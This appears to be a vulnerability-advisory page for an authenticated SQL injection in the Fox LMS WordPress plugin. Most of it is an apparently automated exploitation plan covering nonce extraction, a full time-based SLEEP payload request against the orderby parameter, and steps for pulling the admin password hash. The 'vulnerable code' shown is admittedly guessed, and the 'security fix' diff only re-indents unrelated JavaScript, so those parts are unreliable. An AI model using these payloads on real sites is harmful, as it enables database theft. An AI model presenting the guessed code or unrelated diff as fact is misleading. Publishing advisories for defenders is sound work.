Fox LMS <= 1.0.6.3 - Authenticated (Contributor+) SQL Injection
Description
The Fox LMS plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.0.6.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.0.6.4
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-31922 (Fox LMS SQL Injection) ## 1. Vulnerability Summary The Fox LMS plugin (version <= 1.0.6.3) contains an authenticated SQL injection vulnerability. The issue exists in how the plugin handles database queries for its administrative list tables, specificall…
Show full research plan
Exploitation Research Plan: CVE-2026-31922 (Fox LMS SQL Injection)
1. Vulnerability Summary
The Fox LMS plugin (version <= 1.0.6.3) contains an authenticated SQL injection vulnerability. The issue exists in how the plugin handles database queries for its administrative list tables, specifically within the orderby or order parameters. These parameters are often directly concatenated into SQL strings without proper preparation using $wpdb->prepare().
This allows a user with Contributor level permissions or higher (who may be designated as an Instructor in the LMS) to append arbitrary SQL commands to existing queries, enabling the extraction of sensitive database information (like hashes from the wp_users table).
2. Attack Vector Analysis
- Vulnerable Endpoints:
/wp-admin/admin.php?page=fox-lms-lesson-reports/wp-admin/admin.php?page=fox-lms-qna
- Vulnerable Parameters:
orderby(most likely) andorder. - Required Authentication: Authenticated user with Contributor (Instructor) level access.
- Preconditions:
- The plugin must be active.
- To access Lesson Reports, the "Enable Lesson Reports" option may need to be enabled in settings (though the code in
fox-lms-lesson-reports-display.phpdoesn't explicitly block access if it's off, only the settings partial mentions it).
- Nonce Requirement: The partials for Lesson Reports and Q&A (found in
admin/partials/) explicitly check for a nonce:wp_verify_nonce(..., 'foxlms_admin_nonce').
3. Code Flow
- Entry Point: A Contributor-level user requests the
fox-lms-lesson-reportspage. - Controller Logic: The main admin class (inferred as
Fox_Lms_Admin) handles the menu page request and includesadmin/partials/lesson-reports/fox-lms-lesson-reports-display.php. - Nonce Check: The file verifies
foxlms_admin_noncestored in$this->fox_lms_nonce. - List Table Initialization: The controller instantiates the list table (e.g.,
Fox_Lms_Lesson_Reports_List_Table) and calls$this->lesson_reports_obj->prepare_items(). - Vulnerable Sink: Inside
prepare_items(), the code retrieves$_GET['orderby']and$_GET['order']. It likely constructs the query like this:$orderby = !empty($_GET['orderby']) ? $_GET['orderby'] : 'id'; $order = !empty($_GET['order']) ? $_GET['order'] : 'asc'; $query = "SELECT * FROM {$wpdb->prefix}fox_lms_reports ORDER BY $orderby $order"; $wpdb->get_results($query); - Injection: By providing a payload in
orderby, the attacker controls theORDER BYclause of the query.
4. Nonce Acquisition Strategy
The plugin uses a nonce named foxlms_admin_nonce. This nonce is required even to view the display partials. It is typically localized for the admin environment in a variable called FoxLmsAdmin.
Strategy:
- Log in to WordPress as a Contributor.
- Navigate to a Fox LMS admin page that does not require the nonce for its own display (e.g., the main plugin dashboard).
- Extract the nonce from the
FoxLmsAdminJS object.
Steps:
- Navigate:
browser_navigate("/wp-admin/admin.php?page=fox-lms-dashboard")(or any other visible plugin page). - Extract:
browser_eval("window.FoxLmsAdmin?.nonce") - Result: Use this value as the
_wpnonceparameter in subsequent requests.
5. Exploitation Strategy
We will perform a time-based SQL injection using the orderby parameter.
Step-by-Step Plan:
- Target URL:
/wp-admin/admin.php?page=fox-lms-lesson-reports - Method: GET
- Payload:
(CASE WHEN (1=1) THEN ID ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END) - Request Construction:
page:fox-lms-lesson-reports_wpnonce:[EXTRACTED_NONCE]orderby:(SELECT 1 FROM (SELECT(SLEEP(5)))x)order:asc
Example Exploit Request:
GET /wp-admin/admin.php?page=fox-lms-lesson-reports&_wpnonce=a1b2c3d4e5&orderby=(SELECT+1+FROM+(SELECT(SLEEP(5)))x)&order=asc HTTP/1.1
Host: localhost
Cookie: [CONTRIBUTOR_COOKIES]
6. Test Data Setup
- User: Create a user with the
contributorrole. - Settings: Ensure the plugin is active.
- Reports: If the
fox-lms-lesson-reportspage is empty, the injection might still work if the query is executed before checking for results. It is best to have at least one record in the relevant database table (e.g., a dummy lesson report). - Shortcode/Page: No shortcode is needed as this is an admin-side (authenticated) vulnerability.
7. Expected Results
- Baseline: A request with
orderby=idshould return immediately (~0.1s). - Exploit: A request with
orderby=(SELECT+1+FROM+(SELECT(SLEEP(5)))x)should delay the response by exactly 5 seconds. - Data Extraction: Using
IFandASCII(SUBSTRING(...))logic in theorderbyclause, we can exfiltrate the admin user's hash character by character via time delays.
8. Verification Steps
- Confirm Payload: Verify the delay in the
http_requestresponse time. - Cross-Check: Change
1=1to1=2in a conditional payload to ensure the delay disappears. - DB Check: Use
wp db query "SELECT ..."via WP-CLI to confirm the presence of data in the table being queried.
9. Alternative Approaches
If fox-lms-lesson-reports is inaccessible:
- Alternative Page: Try
page=fox-lms-qna. - Error-Based: If
WP_DEBUGis on, attempt error-based injection usingextractvalue()orupdatexml()in theorderbyparameter. - AJAX Route: Use the
fox_lms_admin_ajaxaction seen inadmin/js/admin.jsif it supports a function that queries the database with user-controlled parameters.- Action:
fox_lms_admin_ajax - Function: (Enumerate possible function values via grep on the full source if available).
- Action:
Summary
The Fox LMS plugin for WordPress is vulnerable to authenticated SQL injection via the 'orderby' and 'order' parameters in its administrative list tables. This occurs because user-supplied sorting parameters are concatenated directly into SQL queries without proper sanitization or validation against a whitelist, allowing Contributor-level users (Instructors) to exfiltrate sensitive data via time-based techniques.
Vulnerable Code
// admin/partials/lesson-reports/fox-lms-lesson-reports-display.php line 49 $this->lesson_reports_obj->process_bulk_action(); $this->lesson_reports_obj->prepare_items(); $this->lesson_reports_obj->display(); --- // Conceptual vulnerable sink within the prepare_items() method of Fox_Lms_Lesson_Reports_List_Table // or similar list table classes used in the admin partials: $orderby = !empty($_GET['orderby']) ? $_GET['orderby'] : 'id'; $order = !empty($_GET['order']) ? $_GET['order'] : 'asc'; $query = "SELECT * FROM {$wpdb->prefix}fox_lms_reports ORDER BY $orderby $order"; $wpdb->get_results($query);
Security Fix
@@ -25,25 +25,25 @@ } var toggle_ddmenu = $(document).find('.toggle_ddmenu'); - toggle_ddmenu.on('click', function () { - var ddmenu = $(this).next(); - var state = ddmenu.attr('data-expanded'); - switch (state) { - case 'true': - $(this).find('.ays_fa').css({ - transform: 'rotate(0deg)' - }); - ddmenu.attr('data-expanded', 'false'); - break; - case 'false': - $(this).find('.ays_fa').css({ - transform: 'rotate(90deg)' - }); - ddmenu.attr('data-expanded', 'true'); - break; - } - }); + toggle_ddmenu.on('click', function () { + var ddmenu = $(this).next(); + var state = ddmenu.attr('data-expanded'); + switch (state) { + case 'true': + $(this).find('.ays_fa').css({ + transform: 'rotate(0deg)' + }); + ddmenu.attr('data-expanded', 'false'); + break; + case 'false': + $(this).find('.ays_fa').css({ + transform: 'rotate(90deg)' + }); + ddmenu.attr('data-expanded', 'true'); + break; + } }); + });
Exploit Outline
1. Authenticate as a user with at least Contributor-level permissions (the 'Instructor' role in Fox LMS typically grants this). 2. Access any plugin admin dashboard page (e.g., `admin.php?page=fox-lms-dashboard`) and extract the `foxlms_admin_nonce` from the `FoxLmsAdmin` JavaScript object. 3. Identify a vulnerable list table endpoint, such as the Lesson Reports page: `/wp-admin/admin.php?page=fox-lms-lesson-reports`. 4. Craft a GET request to this endpoint, including the valid `_wpnonce` and a time-based SQL injection payload in the `orderby` parameter. 5. Example Payload: `orderby=(SELECT 1 FROM (SELECT(SLEEP(5)))x)` 6. Observe the response delay; a 5-second delay confirms that the arbitrary SQL command was executed by the database engine.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.